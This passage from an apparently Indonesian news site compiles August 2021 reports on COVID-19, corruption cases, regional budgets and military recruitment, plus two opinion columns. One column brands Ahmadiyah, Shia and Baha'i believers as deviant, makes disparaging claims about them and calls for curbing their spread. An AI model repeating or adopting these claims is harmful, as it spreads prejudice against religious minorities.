kebersihan lingkungan dan lain-lain. Sejauh ini, inisiatif gerakan Pemuda Anti COVID-19 difasilitasi oleh pihak kelurahan di masing-masing daerah. Namun dana operasional dari Kelurahan yang cukup terbatas menjadi kendala bagi keberlanjutan inisiatif ini. Lurah Hedam, Distrik Heram, Jayapura Soleman Young mengatakan pihaknya telah membentuk tim Pemuda Anti-COVID sejak 2020, namun dalam perjalanannya terkendala dengan biaya operasional yang terbatas. Terkait kendala tersebut, Rini menyampaikan, tim KSP akan mempelajari lebih lanjut terkait permasalahan dana operasional bagi keberlanjutan gerakan Pemuda Anti-COVID-19 tersebut. Rini menekankan penanganan COVID-19 di Jayapura membutuhkan penguatan karena angka penularan yang masih cukup tinggi ditambah dengan keterbatasan alat tes PCR COVID-19, keterbatasan vaksinator dan tingkat kepatuhan masyarakat yang masih sangat rendah terhadap protokol kesehatan 5M. Di Puskesmas Abepura di Kota Jayapura, misalnya, kata Rini, program vaksinasi sudah tidak berjalan selama satu bulan karena sebagian besar tenaga kesehatan dan vaksinator terpapar COVID-19. "KSP akan mendorong penguatan upaya vaksinasi dengan penambahan vaksinator agar target Presiden yaitu vaksinasi 100 persen pada saat Pekan Olahraga Nasional Papua tercapai. Selain itu, peran tokoh agama dan adat juga sangat diharapkan keterlibatannya untuk memberikan kesadaran publik tentang pentingnya vaksinasi,” ujar Rini. Sementara itu mengenai program vaksinasi, Kepala Puskesmas Abepura dr. Grace Juliet Pangendahen, mengungkapkan antusiasme masyarakat terhadap program vaksinasi sudah cukup tinggi. Selain itu, kolaborasi yang baik antara TNI/Polri dengan pihak rumah sakit dan Kelurahan/RT/RW dalam pengadaan sentra vaksinasi “Gebyar Gebyar” dan upaya tracing pasien COVID-19, cukup berdampak signifikan dalam menekan penambahan kasus COVID-19 di Kota Jayapura. Walaupun ketersediaan vaksinator yang sangat terbatas masih menjadi perhatian di Jayapura, namun penanganan COVID-19 di Jayapura secara umum sudah cukup terkendali dengan adanya tambahan tempat isolasi terpusat yakni di kapal KM Tidar. Adapun Kepala Dinas Kesehatan Kota Jayapura Ni Nyoman Sri Antari mengatakan bahwa keterisian tempat tidur (Bed Occupancy Rates/BOR) di Kota Jayapura kini telah menurun hingga ke level 59 persen, dari level 96 persen pada Juli lalu. (sws)

Wakil Ketua DPR: Pemerintah Tidak Mungkin Sendiri Tangani Pandemi

Jakarta, FNN - Wakil Ketua Dewan Perwakilan Rakyat (DPR) Abdul Muhaimin Iskandar mengatakan Pemerintah tidak dapat bekerja sendiri dalam penanganan COVID-19, sehingga harus melibatkan tokoh masyarakat, tokoh agama dan generasi muda. "Pemerintah tidak mungkin sendiri dan harus melibatkan unsur tokoh, tokoh masyarakat, agama, hingga pemuda. Keterlibatan masyarakat sangat penting dalam penanganan pandemi," kata Muhaimin dalam keterangannya yang diterima di Jakarta, Jumat. Hal itu disampaikan Muhaimin saat melakukan Roadshow Politik Kesejahteraan bersama warga Kalimantan Barat secara virtual, Kamis (12/8). Pandemi COVID-19 memberi tantangan bagi pembangunan nasional yang terhambat karena berbagai kebijakan yang diambil Pemerintah untuk memutus rantai penyebaran. Namun, Muhaimin mengatakan, tantangan dalam pembangunan nasional di masa pandemi tersebut memberikan hikmah dalam pemberdayaan negara. "Hikmah dari pandemi ini sangat luar biasa. Di satu sisi kita kesulitan, tapi (di sisi lain) dapat menjadi evaluasi keberdayaan kita sebagai negara, sebagai bangsa dan pelaku pembangunan agar terus eksis dan berdaya," kata Ketua Umum Partai Kebangkitan Bangsa (PKB) tersebut. Selain itu, lanjutnya, pembangunan nasional di tengah keterbatasan kondisi pandemi dan anggaran, harus mengutamakan pada pelaksanaan vaksinasi guna mencapai kekebalan komunal atau herd immunity. Sementara itu, warga Kalimantan Barat yang mengikuti Roadshow tersebut secara virtual menyampaikan aspirasi mereka, antara lain terkait vaksinasi COVID-19 yang belum merata, pembagian bantuan sosial (bansos), pertanian, pendidikan dan kelangkaan oksigen. "Kami meminta agar penyaluran bansos, seperti BLT (bantuan langsung tunai) dan PKH (program keluarga harapan) dipercepat dan langsung dirasakan oleh masyarakat yang berhak menerima," kata salah seorang kepala desa setempat. Turut mengikuti acara tersebut secara virtual ialah Anggota DPR Fraksi PKB Daniel Johan, tokoh masyarakat dan tokoh agama Kalimantan Barat. (sws)

Bupati Aceh Barat Minta DPRA Perjuangkan Pengembalian Dana Otsus

Meulaboh, FNN - Bupati Aceh Barat Haji Ramli MS meminta kepada anggota Dewan Perwakilan Rakyat Aceh (DPRA) agar memperjuangkan pengembalian Dana Otonomi Khusus Aceh (DOKA) ke 23 kabupaten/kota di Aceh. “Saya berharap anggota DPRA memperjuangkan dana DOKA agar dikelola oleh masing-masing daerah, hal ini untuk menghindari minimnya serapan anggaran setiap tahun di Anggaran Pendapatan Belanja Aceh,” kata Ramli MS di Meulaboh, Kamis. Penegasan itu ia sampaikan saat menerima kunjungan kerja Tim Panitia Khusus (Pansus) Daerah Pemilihan X Dewan Perwakilan Rakyat Aceh (DPRA) yang di ketuai oleh Fuadri, dalam rangka evaluasi terhadap Kegiatan Dana Otsus Aceh Tahun 2020 dan dana transfer dari provinsi serta dana Refocusing COVID-19 yang digelar di Ruang Rapat Bupati Aceh Barat. Ramli MS mengatakan, selama ini pengelolaan dana otonomi khusus Aceh setiap tahunnya selalu menjadi SILPA (Sisa Lebih Perhitungan Anggaran) karena tidak bisa dihabiskan anggarannya di tahun berjalan, akibat dikelola oleh masing-masing Satuan Kerja Pemerintah Aceh (SKPA). Akibatnya, pembangunan di setiap daerah di Aceh menjadi terganggu dan terhambat karena jumlah SILPA pada tahun 2020 lalu mencapai Rp3,96 triliun, dan pada tahun 2019 lalu SILPA Aceh mencapai Rp1,8 triliun. Agar serapan anggaran dana otonomi khusus Aceh bisa diserap secara maksimal, kata Ramli MS, maka pengelolaan dana tersebut agar dikembalikan lagi kewenangannya ke setiap kabupaten/kota di Aceh. Karena apabila dana tersebut terus dikelola oleh masing-masing SKPA di Aceh, maka kejadian rendahnya serapan anggaran di Aceh akan kembali terulang di tahun mendatang. Dengan banyaknya beban kerja di SKPA, maka ia berharap agar pengelolaan setiap kegiatan dana Otsus Aceh agar dikelola oleh masing-masing daerah, sehingga setiap rencana pembangunan di kabupaten/kota bisa dilaksanakan secara maksimal dan sesuai dengan keinginan masyarakat. “Pak Gubernur Aceh juga sudah setuju agar dana Silpa Otonomi Khusus Aceh agar ditransfer ke setiap kabupaten/kota di Aceh, kami berharap SKPA di Aceh segera merealisasikan hal ini,” kata Ramli MS. Dalam kesempatan ini, ia juga menegaskanh kemajuan daerah seperti di Aceh Barat dapat tercapai apabila adanya sinergitas yang baik antara pemerintah kabupaten dengan provinsi, dan didukung oleh DPRA. Dengan adanya sinergitas tersebut, diharapkan serapan dana otonomi khusus Aceh dapat dimaksimalkan, sehingga tidak terdapat Sisa Lebih Pembiayaan Anggaran (Silpa) di tahun sebelumnya. Sementara itu Ketua tim Pansus DPRA Fuadri mengatakan pihaknya akan melakukan evaluasi terhadap dana transfer dari Pemerintah Aceh, serta dana refocusing COVID-19 di setiap wilayah daerah pemilihan X Aceh seperti di Kabupaten Aceh Jaya, Aceh Barat, Nagan Raya, dan Simeulue. Menurutnya, kunjungan kerja ini bertujuan untuk mendengar paparan dari Pemerintah Kabupaten Aceh Barat terkait dengan kegiatan yang telah dilaksanakan di tahun 2020 lalu, sekaligus berdiskusi tentang kegiatan prioritas yang akan didukung oleh provinsi. Fuadri juga mengapresiasi program Bupati Aceh Barat dalam penanganan COVID-19, salah satunya pemberian dana bantuan kepada masyarakat yang terdampak pandemi, tuturnya. (sws)

Eks Timnas Sepak Bola Octo Maniani Gabung ke Partai Gelora

JAKARTA, FNN -- Mantan pemain tim nasional (timnas) sepak bola Indonesia, Oktovianus Maniani (Okto), resmi bergabung dengan Partai Gelombang Rakyat (Gelora) Indonesia. Ketua Bidang Rekrutmen Anggota DPN Partai Gelora Indonesia, Endy Kurniawan, mengatakan, Okto mengaku gembira dan bersemangat bisa bergabung dengan Partai Gelora. "Saya sempat berkomunikasi langsung melalui video call dengan Okto begitu mendapat kabar bahwa dia gabung ke Partai Gelora, Kamis (12/8) siang. Cerah wajahnya," kata Endy dalam keterangan tertulisnya, Jumat (13/8). Endy menyampaikan ucapan terima kasih kepada Okto yang mau bersedia gabung ke partai besutan Anis Matta, Fahri Hamzah, dan Mahfuz Sidik tersebut. Partai Gelora berpandangan, Okto yang kini berusia 30 tahun merupakan representasi dan semangat Indonesia Timur. "Kami berharap Okto bisa menjadi duta dan role model yang membawa aspirasi masyarakat yang berjuang bersama Partai Gelora," ujarnya. Endy juga mengapresiasi Dewan Pimpinan Wlayah (DPW) Papua yang secara gigih berhasil merekrut tokoh-tokoh Papua seperti Okto Maniani bergabung bersama Partai Gelora. "Saya juga mendengar akan cukup banyak nama atlet nasional dari Papua yang akan bergabung bersama Gelora, termasuk kolega-kolega Okto. Partai Gelora sebagai partai terbuka akan menyiapkan ruang partisipasi yang besar," jelas Endy. Oktovianus Maniani, lahir di Jayapura pada 27 Oktober 1990 silam. Sebelum pandemi Covid-19, Okto bermain untuk Persiba Balikpapan di Liga 2 pada 2020 lalu. Okto dipanggil untuk memperkuat timnas Indonesia U-23 di ajang SEA Games 2011 saat Indonesia menjadi tuan rumah. Pada Indonesia Super League (ISL) tahun 2010/2011, Okto dipinang oleh klub Sriwijaya FC yang dilatih oleh Ivan Kolev. Okto juga pernah memperkuat Arema Cronus, Madura FC, Perserang, Persewar Waropen, dan lain-lain. Okto juga pernah tergabung dalam Indonesia untuk persiapan Piala AFF 2010 di bawah asuhan Alfred Riedl. Ia pun masuk skuad pemain timnas senior dan memperkuat Indonesia dalam even-even internasional. (ant)

Pemkot Tanjungpinang Tanggapi Soal Arogansi Wali Kota dan Ajudan

Tanjungpinang, FNN - Pemerintah Kota Tanjungpinang, Provinsi Kepulauan Riau (Kepri), menanggapi pemberitaan soal arogansi Wali Kota Rahma dan ajudannya terhadap sejumlah wartawan yang hendak melakukan kegiatan wawancara pada Selasa (10/8). “Tidak seperti yang digambarkan pada pemberitaan yang ada, ajudan atau pengawalan hanya melakukan tugasnya agar wali kota segera ke lokasi kegiatan selanjutnya karena sudah terlambat,” kata Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokompim) Bobby Wira Satria, Kamis. Bobby juga menjelaskan bahwa saat itu tidak ada aksi dorong-dorongan untuk menghalangi kerja rekan-rekan jurnalis. Menurut dia, sang ajudan sedang fokus bekerja dengan menjalankan tupoksi sebagai pengawalan kepala daerah. Ia tak menampik terkadang bentuk profesionalisme pekerjaan saat petugas pengawalan kepala daerah melakukan tugasnya, dianggap menghalangi orang lain untuk mendekati atau mewawancarai kepala daerah yang sedang dikawalnya. “Saat itu protokol, ajudan dan pengawalan melakukan tugasnya dengan baik, tidak ada kekerasan atau bahasa yang tidak sopan. Mereka hanya mengarahkan agar wali kota segera masuk ke dalam mobil agar secepatnya menuju pada kegiatan berikutnya,” jelas Bobby. Sementara itu, Bobby juga menanggapi terkait penyebaran informasi mengenai agenda kepala daerah kepada publik. Pihaknya mengklaim selalu memberikan informasi mengenai jadwal harian kepala daerah, lengkap dengan waktu dan tempatnya. "Tetapi jika kegiatan bersifat konsolidasi internal atau rapat terbatas, tidak kami sebarkan kepada rekan-rekan jurnalis untuk dilakukan peliputan atas kegiatan tersebut,” ungkapnya. Lebih lanjut Bobby menyampaikan akan selalu mengevaluasi seluruh kinerja stafnya agar selalu mengikuti aturan, protap, dan mengedepankan pelayanan prima. "Kami menyampaikan permohonan maaf apabila masih ada sikap yang kurang berkenan pada saat pelaksanaan tugas dan kami senantiasa menerima kritik serta saran yang membangun dalam rangka evaluasi kinerja Prokompim," demikian Bobby. (sws)

Ditetapkan Jadi Tersangka Ternyata Bupati Bintan Miliki Kekayaan Rp 8,7 miliar

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis (12/8) kemarin, menetapkan Bupati Bintan Apri Sujadi sebagai tersangka kasus dugaan korupsi pengaturan barang kena cukai di Kabupaten Bintan, Kepulauan Riau. Ia diduga menerima uang suap sekitar Rp 6,3 miliar, dari tahun 2017 sampai 2018. Mau tahu harta kekayaannya? Ternyata total kekayaan yang dimiliki Apri Rp 8.716.767.012. Berdasarkan pengumuman Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) pada situs https://elhkpn.kpk.go.id diakses, Jumat (13/8), Apri terakhir melaporkan hartanya pada 23 Februari 2021 untuk tahun pelaporan 2020 dengan jabatan sebagai Bupati Bintan. Harta Apri terdiri dari 18 bidang tanah senilai Rp 3.749.407.000 yang tersebar di Kota Tanjungpinang dan Kabupaten Bintan. Selanjutnya, Apri juga tercatat memiliki kekayaan berupa dua unit mobil senilai Rp 565 juta terdiri dari Honda Jazz Tahun 2014 dan Honda CR-V Tahun 2018. Ia juga memiliki harta bergerak lainnya senilai Rp 637.310.000 dan kas dan setara kas Rp3.765.050.012. KPK pada Kamis (12/8) telah menetapkan Apri bersama Plt Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Mohd Saleh H Umar (MSU) sebagai tersangka kasus dugaan korupsi pengaturan barang kena cukai dalam pengelolaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Tahun 2016-2018. Dari tahun 2017 sampai dengan 2018, Apri diduga menerima uang sekitar Rp 6,3 miliar. Sedangkan Mohd Saleh pada periode yangsama diduga menerima uang sekitar Rp 800 juta. Dikutip dari Antara, dalam konstruksi perkara, KPK menjelaskan tersangka Apri pada 17 Februari 2016 dilantik menjadi Bupati Bintan yang secara ex-officio menjabat sebagai Wakil Ketua I Dewan Kawasan Bintan. Selanjutnya, awal Juni 2016, bertempat di salah satu hotel di Batam, Apri memerintahkan stafnya mengumpulkan para distributor rokok yang mengajukan kuota rokok di BP Bintan. Dalam pertemuan tersebut, diduga terdapat penerimaan sejumlah uang oleh Apri dari para pengusaha rokok yang hadir. Atas persetujuan Apri, dilakukan penetapan kuota rokok dan Minuman Mengandung Etil Alkohol (MMEA). Kemudian, menerbitkan kuota rokok sebanyak 290.760.000 batang dan kuota MMEA dengan rincian, yakni golongan A sebanyak 228.107,40 liter, golongan B sebanyak 35.152,10 liter, dan golongan C sebanyak 17.861.20 liter. Di tahun 2017, BP Bintan menerbitkan kuota rokok sebanyak 305.876.000 batang (18.500 karton) dan kuota MMEA. Dduga dari kedua kuota tersebut ada distribusi jatah bagi Apri sebanyak 15.000 karton, Mohd Saleh sebanyak 2.000 karton, dan pihak lainnya sebanyak 1.500 karton. Pada Februari 2018, Apri memerintahkan Kepala Bidang Perizinan BP Bintan Alfeni Harmi dan diketahui juga oleh Mohd Saleh untuk menambah kuota rokok BP Bintan Tahun 2018 dari hitungan awal sebanyak 21.000 karton. Sehingga total kuota rokok dan kuota MMEA yang ditetapkan oleh BP Bintan Tahun 2018 sebanyak 452.740.800 batang (29.761 karton). Selanjutnya kembali dilakukan distribusi jatah di mana untuk Apri sebanyak 16.500 karton, Mohd Saleh 2.000 karton, dan pihak lainnya sebanyak 11.000 karton. Dari 2016 sampai dengan 2018, BP Bintan telah menerbitkan kuota MMEA kepada PT Tirta Anugrah Sukses (TAS) yang diduga belum mendapatkan izin edar dari BPOM (Badan Pengawas Obat dan Makanan) dan dugaan terdapat kelebihan (mark-up) atas penetapan kuota rokok di BP Bintan tersebut. Perbuatan para tersangka diduga antara lain bertentangan dengan ketentuan Peraturan Menteri Keuangan Nomor 47/PMK.04/2012 yang diperbaharui dengan Peraturan Menteri Keuangan Nomor 120/PMK.04/2017. Selanjutnya, Peraturan Menteri Keuangan Nomor 47/PMK.04/2012 tentang Tata Laksana Pemasukan dan Pengeluaran Barang Ke dan Dari Kawasan Yang Telah Ditetapkan sebagai Kawasan Perdagangan Bebas dan Pelabuhan Bebas dan Pembebasan Cukai yang diperbaharui dengan Peraturan Menteri Keuangan Nomor 120/PMK.04/2017. KPK menduga perbuatan para tersangka mengakibatkan kerugian keuangan negara sekitar Rp 250 miliar. (MD).

Kasad: Sejak Mei Seleksi Bintara Wanita Tidak Pakai Tes Keperawanan

Balikpapan, FNN - Kepala Staf TNI Angkatan Darat (Kasad) Jenderal TNI Andika Perkasa menegaskan bahwa dalam rekrutan baru prajurit TNI-AD sudah tidak ada lagi tes atau pemeriksaan keperawanan bagi calon prajurit perempuan. "Sudah sejak Mei lalu, mulai diterapkan dalam seleksi penerimaan Bintara di setiap Kodam,” kata Jenderal Andika usai meninjau dan berbincang dengan prajurit TNI-AD dan US Army peserta Latihan Bersama Garuda Shield di Pusat Latihan Tempur (Puslatpur) Amborawang, Samboja, 40 km utara Balikpapan, Kalimantan Timur, Kamis. Bintara adalah jenjang dimana calonnya harus lulusan SMA atau sederajat, dengan usia rata-rata 18 tahun, dan lulus menjalani pendidikan di Sekolah Calon Bintara (Secaba) yang berlangsung selama 5 bulan di Resimen Induk Kodam (Rindam) yang ada di setiap Kodam. Khusus untuk calon prajurit wanita, setelah lulus seleksi di Kodam, maka akan menjalani Secaba di Pusat Pendidikan Korps Wanita Angkatan Darat (Pusdik Kowad) di Bandung. Lulusan Secaba akan berpangkat sersan dua. Kasad Andika melanjutkan penghapusan tes keperawanan tidak hanya bagi calon prajurit, tapi juga sudah tidak diberlakukan lagi untuk calon istri dari prajurit pria yang mengajukan izin menikah. "Kalau prajurit kita sudah memilih, ya sudah. Emang kita mau ngapain,” seloroh Kasad. Di sisi lain, Kasad Andika menegaskan peniadaan aturan pemeriksaan genital atau kelamin, khususnya bagian dalam dari vagina dan cervix (rahim) untuk calon prajurit wanita. Tes tersebut untuk melihat kondisi hymen (selaput dara) apakah masih sempurna atau ruptured (sobek) seluruhnya ataupun sobek sebagian, adalah bagian dari perubahan untuk kemajuan yang diterapkan Angkatan Darat. Dalam kesempatan lain, Kasad menyebutkan, tes tersebut dianggap tidak lagi memiliki relevansi terhadap tujuan pendidikan militer. "Krena itu, yang tidak ada lagi hubungannya tidak perlu lagi," tegasnya. Sebaliknya, sejumlah tes seperti buta warna, apakah calon mengidap penyakit atau kelainan yang bisa mengancam jiwa, justru semakin rinci dan ketat. Untuk tes buta warna misalnya, kini selain menggunakan metode tes Ishira, juga ditambah tes Hardy-Rand-Rittler. Dengan dua tes buta warna, buta warna sebagian yang juga lazim diderita di Indonesia, bisa terdeteksi. Dengan pemeriksaan kesehatan yang relevan namun lebih ketat itu diharapakan lolos calon prajurit yang memiliki kesamaptaan (kesempurnaan, ketangguhan) jasmani yang terbaik untuk dibina menjadi prajurit yang mumpuni. (sws)

Trio Sesat yang Mengganggu Umat

By M Rizal Fadillah ADANYA ketegasan sikap mengenai keberadaan ajaran sesat yang ditetapkan oleh MUI atau Ormas Islam dimaksudkan untuk ketenangan dalam menjalankan kehidupan beragama khususnya di kalangan umat Islam. Bukan soal diskriminasi atau hak asasi tetapi menyangkut usaha menciptakan ketertiban dalam beragama. Faham yang dapat menimbulkan reaksi dan masalah di kalangan umat Islam sehingga membuat situasi panas yang awalnya duo dan kini adalah "trio sesat" yaitu : AHMADIYAH Mengakui bagian dari agama Islam padahal memiliki pandangan yang secara fundamental berbeda. Terutama mengenai kenabian Muhammad yang diyakini bukan Nabi yang terakhir (khataman nabiyyin). Mirza Ghulam Ahmad adalah Nabi setelah Nabi Muhammad SAW. Lalu ia menyatakan dirinya sebagai Imam Mahdi dan "al Masih al Mau'ud" (al Masih yang dijanjikan). Kitab sucinya di samping Al Qur'an juga kumpulan wahyu "Tadzkirah". MUI memfatwakan sesat tahun 1980 dan diperkuat tahun 2005. SYI'AH Mengklaim Agama Islam tapi dominan Persia. Memiliki perbedaan mendasar yang menyangkut akidah bukan furu'iyah dengan rukun iman dan rukun Islam yang berbeda. Kesucian Imam yang terjamin (ishmah) melebihi Nabi, memusuhi Sahabat dan menistakan istri-istri Nabi, menodai Al Qur'an, memiliki hadits sendiri termasuk ucapan para Imam, anti Arab, nikah kontrak, menyakiti diri "tathbir" dalam peringatan Asyura. MUI secara parsial menyatakan sesat Syi'ah dalam penistaan Sahabat, tahrif Al Qur'an, nikah muth'ah, dan pemaksuman Imam (ishmah). MUI membuat dan mengedarkan buku "Mewaspadai Penyimpangan Syi'ah di Indonesia". BAHA'I Telah lama ada dan rakyat dikejutkan oleh pengakuan Menag Yaquts baru baru ini ketika mengucapkan selamat Hari Raya kaum Baha'i Naw Ruz 178 EB. Turunan Syi'ah ini lahir di Persia meyakini keberadaan Nabi setelah Nabi Muhammad SAW. Nabi itu adalah Baha'ullah yang tulisannya menjadi kitab suci. Shalat satu waktu, puasa 19 hari, haji ke kuburan Bahaullah di Bahjah Akka Palestina, serta berkiblat ibadah ke arah Gunung Carmel Israel. MUI dalam berbagai pandangannya telah menyatakan sesat Baha'i. Umat Islam waspada dan resah dengan faham sesat ini. Sayangnya Menteri Agama Yaquts Khalil Qoumas justru gemar memancing kegaduhan dengan tekad dan langkah mensyiarkan ketiga faham ini. Umat Islam tentu kecewa, kesal dan marah. Alih-alih berupaya menjaga stabilitas umat, Menag justru menampilkan peran antagonis dalam mengobrak-abrik perasaan umat. Segera setelah dilantik menjadi Menag menggantikan Fahrur Rozi, Yaquts langsung tekan gas dan lantang berstatemen akan mengafirmasi hak Ahmadiyah dan Syi'ah. Sontak saja ucapannya telah menimbulkan kritikan tajam di kalangan tokoh-tokoh Islam. Terakhir Baha'i yang diakui. Yaquts memang dinilai belum pas untuk menjadi Menteri Agama. Trio sesat yang mengganggu umat mestinya bukan disyiarkan apalagi diafirmasi. Ketiganya sensitif dan bisa memancing friksi atau konflik. Kementrian Agama sebaiknya menjadi kementrian yang menyejukkan bukan menjadi kementrian bakar-bakaran. Karenanya waspadai dan eliminasi atau minimalisasi ekspansi faham-faham tersebut. Melindungi yang kecil bukan dengan memusuhi yang besar. Faham sesat bukan untuk dibesarkan. Menteri Agama itu adalah pengayom bukan provokator atau menjadi tukang kompor. *) Pemerhati Politik dan Kebangsaan

Jakarta Defence Studies Sambut Baik Kurikulum Sains Pertahanan Menhan

Jakarta, FNN - Kelompok kajian masalah pertahanan dan wacana-wacana strategis Jakarta Defence Studies menyambut baik langkah Menteri Pertahanan (Menhan) Prabowo Subianto yang mendorong kurikulum sains pertahanan di Indonesia. "Saya senang Pak Prabowo fokus kepada kurikulum sains pertahanan untuk sarjana di Universitas Pertahanan," kata Co Founder Jakarta Defence Studies Edna Caroline kepada wartawan di Jakarta, Kamis. Kendati demikian, ia menilai hal itu saja belum cukup. Sebab, Indonesia membutuhkan pendekatan yang lebih luas. Sebagaimana diketahui, saat ini Universitas Pertahanan memiliki program studi Kedokteran Militer, Farmasi Militer, Matematika dan Ilmu Pengetahuan Alam (MIPA) Militer, dan Fakultas Teknik Militer yang dibuka pada 2020 guna menyiapkan sumber daya manusia pertahanan negara serta merespons ancaman dan perang di masa depan, termasuk ancaman biologi. Edna Caroline mengatakan adanya kurikulum sains pertahanan penting untuk masa depan pertahanan negara, namun selama ini pemerintah masih terlihat enggan berinvestasi dalam bidang sumber daya manusia pertahanan negara. Edna mengakui investasi di sektor sumber daya manusia memang memakan waktu yang cukup lama. China misalnya, membutuhkan sekitar 50 tahun untuk membangun kualitas sumber daya manusia di sektor pertahanan yang mumpuni. "Kita butuh kerja sama tentang pendidikan. Negara atau produsen yang bisa membagikan ilmu teknologi pertahanan kepada kita. Jadi memang butuh pendekatan yang lebih komprehensif," ujar dia. Pada April 2020 Menhan Prabowo Subianto meminta Rektor Universitas Pertahanan Laksamana Muda TNI Amarulla Octavian untuk membuka kurikulum sains pertahanan guna menghasilkan para perwira Korps Kesehatan TNI yang cakap melaksanakan operasi militer, termasuk menghadapi wabah penyakit seperti COVID-19. "Perlu mencetak kader terbaik yang menguasai ilmu pengetahuan dan teknologi. Apalagi, sekarang terjadi pandemi. Kita berupaya keras menguasai ilmu di bidang kedokteran," kata Prabowo. Harapannya, semakin banyak sarjana di bidang farmasi dan kedokteran yang nantinya bisa memproduksi obat di dalam negeri sehingga tidak bergantung kepada negara lain. (sws)

Putra Nurdin Abdullah Dicecar Pembelian Jetski-Mesin Speedboat

Makassar, FNN - Sidang kasus dugaan suap dan gratifikasi yang mendudukkan Gubernur Sulsel nonaktif Nurdin Abdullah menghadirkan salah seorang putranya, Fathul Fauzi Nurdin, untuk didengarkan keterangannya terkait pembelian dua unit Jetski dan mesin tempel kapal cepat (speedboat). Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK) Asri Irwan di Makassar, Kamis, mengatakan lima orang saksi dihadirkan untuk didengarkan keterangannya. Kelima saksi yang dihadirkan Wakil Ketua DPRD Makassar Eric Horas, Koordinator Teller Bank Mandiri Cabang Panakkukang Asriadi, Irham Samad dan Nurhidayah serta Fathul Fauzi Nurdin. Fathul Fauzi Nurdin menjawab pertanyaan JPU KPK terkait adanya pembelian dua unit jetski dan mesin tempel speedboat yang kemudian mendapatkan uang kembalian (cashback) sebesar Rp119 kita dari CV Jetski Safari Makassar. "Mengenai cashback itu, saya tidak tahu. Yang pasti cashback itu untuk dua unit jetski yang saya beli dan itu tidak ada kesepakatan apa-apa," ujarnya. Uang kembalian dari PT Jetski Makassar ditransfer oleh Irham Samad yang menjabat sebagai direktur pada CV Reso Utama. Irham Samad pun yang hadir dalam persidangan membenarkan adanya transaksi jual beli dua unit jetski itu sebesar Rp797 juta. "Kalau pembeliannya itu di akhir tahun 2020 pak dengan cara transfer dua kali. Pembelian pertama itu Rp349 juta dan kemudian pembelian berikutnya Rp448 juta," kata Irham Samad. Fathul mengungkapkan pembelian dua unit jetski itu untuk digunakan sebagai kendaraan operasional saat akan berkunjung ke pulau-pulau di Kota Makassar termasuk dengan mesin speedboat itu. "Akhir tahun 2020 itu saya diminta oleh ayahku agar dicarikan dua unit jetski kemudian saya hubungi pak Irham Samad selanjutnya terjadilah transaksi jual beli itu," terangnya. Ia mengaku jika uang sebesar Rp119 juta dan uang lainnya senilai Rp48 juta juga sudah disita oleh KPK sebagai barang bukti. Sebelumnya, Nurdin Abdullah didakwa telah menerima uang suap senilai 150.000 dolar Singapura (sekitar Rp1,596 miliar) dan Rp2,5 miliar dari terdakwa Agung Sucipto. Nurdin Abdullah selaku pejabat negara diduga menerima suap untuk memuluskan kontraktor Agung Sucipto dalam memenangkan proyek infrastruktur Jalan Palampang-Munte-Botolempangan poros Bulukumba-Sinjai, Sulawesi Selatan. (sws)

Luhut "Manipulasi" Indikator Kematian Covid!

Oleh: Mochamad Toha Data dari 510 Pemerintah Daerah menunjukkan, hingga 7 Agustus 2021, terdapat 124.790 warga meninggal dengan status positif Covid-19. Tapi jumlah kematian positif Covid-19 yang dipublikasikan pemerintah pusat pada tanggal yang sama hanya 105.598 orang. Artinya, Pemerintah Pusat memangkas 19.192 kematian karena positif Covid. LaporCovid menemukan ada lebih dari 19.000 kasus kematian akibat Covid-19 yang sudah dilaporkan oleh pemerintah kabupaten/kota namun tidak tercatat di data pemerintah pusat. “Artinya, antara data pemerintah kabupaten/kota dengan pemerintah pusat, terdapat selisih 19.192 kematian,” ujar Analis Data LaporCovid-19, Said Fariz Hibban lewat keterangan tertulis, Rabu, 11 Agustus 2021. Menurutnya, bila dijabarkan 10 provinsi dengan selisih angka kematian positif terbesar, yakni Jawa Tengah (-9,662), Jawa Barat (-6,215), DI Jogjakarta (-889), Papua (-663), Kalimantan Barat (-643), Sumatera Utara (-616), Kalimantan Tengah (-301), Jawa Timur (-294), Banten (-140), dan Nusa Tenggara Barat (-112). Ditambah lagi, lanjut Said, data kematian yang selama ini dipublikasikan pemerintah belum mencakup kematian warga dengan status probable. Padahal, WHO merekomendasikan untuk menyertakan kasus probable sebagai kasus kematian akibat Covid-19. Berdasarkan data LaporCovid-19, akumulasi kematian probable di Indonesia setidaknya telah mencapai 26.326 jiwa. Jika kematian positif Covid-19 itu diakumulasikan dengan kematian probable, total kematian terkait pandemi di Indonesia telah mencapai 151.116 jiwa. Di sisi lain, ujar Said, jumlah kematian yang terjadi di luar rumah sakit belum tercatat secara baik dalam sistem pencatatan milik pemerintah. Padahal, berdasar data yang dikumpulkan tim LaporCovid-19, banyak warga yang meninggal saat menjalani isolasi mandiri di rumah atau tempat lain. Sejak awal Juni hingga 7 Agustus 2021, tim LaporCovid-19 mencatat sedikitnya 3.007 warga meninggal di luar rumah sakit. Jumlah kematian yang sesungguhnya bisa jadi jauh lebih banyak karena data itu baru berasal dari 108 kota/kabupaten di 25 provinsi. Saat ini, hanya satu provinsi, yakni DKI Jakarta, yang mempublikasikan data kematian warga ketika isolasi mandiri. Oleh karena itu, LaporCovid-19 mendesak pemerintah daerah lainnya untuk mempublikasikan data jumlah kematian warga saat isolasi mandiri. “Keterbukaan ini penting agar masyarakat makin memahami dampak pandemi Covid-19,” tutur Said. Menko Kemaritiman dan Investasi yang juga Wakil Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional (PEN) Luhut Binsar Panjaitan menghilangkan angka kematian dari indikator evaluasi Covid-19. Alasannya, sering terjadi kesalahan input data. Para epidiomolog menilai langkah ini berbahaya. Kuat dugaan dihapuskannya angka tersebut dengan maksud memoles angka agar tampak sukses menangani pandemi. Jangan sampai ada anggapan, penguasa biasa memang ngawur dan suka-suka. Juru Bicara Wakil Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional Luhut Binsar Pandjaitan, Jodi Mahardi, menjelaskan perihal tidak dimasukkannya angka kematian dalam asesmen level Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Dikeluarkannya indikator itu karena adanya input data yang belum diperbarui dan merupakan angka kematian dari akumulasi selama beberapa pekan sebelumnya. Pemerintah menemukan banyak angka kematian yang ditumpuk-tumpuk. 